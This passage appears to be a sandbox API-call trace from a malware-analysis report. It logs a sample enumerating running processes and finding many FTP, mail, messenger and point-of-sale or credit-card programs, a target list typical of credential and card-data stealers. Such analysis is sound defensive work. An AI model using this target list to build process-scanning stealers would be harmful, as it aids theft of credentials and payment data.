th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.272] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.275] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.277] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0109.297] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0109.300] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.303] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0109.305] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.307] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0109.309] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0109.311] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0109.312] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0109.314] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0109.317] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0109.319] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0109.321] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0109.323] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0109.325] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0109.327] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0109.329] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0109.335] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0109.337] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0109.339] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0109.341] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0109.343] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0109.345] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0109.347] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0109.349] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0109.351] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0109.353] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0109.355] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0109.357] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0109.359] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0109.362] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0109.364] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0109.366] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0109.369] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0109.371] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0109.373] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0109.375] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0109.377] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0109.382] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0109.385] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0109.388] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0109.390] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0109.393] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0109.397] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0109.400] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0109.402] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0109.405] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0109.407] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0109.408] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0109.411] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0109.413] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0109.415] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0109.417] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0109.419] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0109.421] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0109.423] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0109.434] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0109.437] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0109.439] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0109.441] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0109.443] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0109.445] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0109.447] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0109.450] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0109.452] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0109.455] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0109.457] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0109.459] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0109.462] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0109.464] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0109.466] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0109.468] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0109.470] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0109.473] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0109.475] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0109.477] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0109.479] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0109.481] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0109.483] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0109.485] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0109.487] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0109.489] Process32Next (in: hSnapshot=0x1008, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 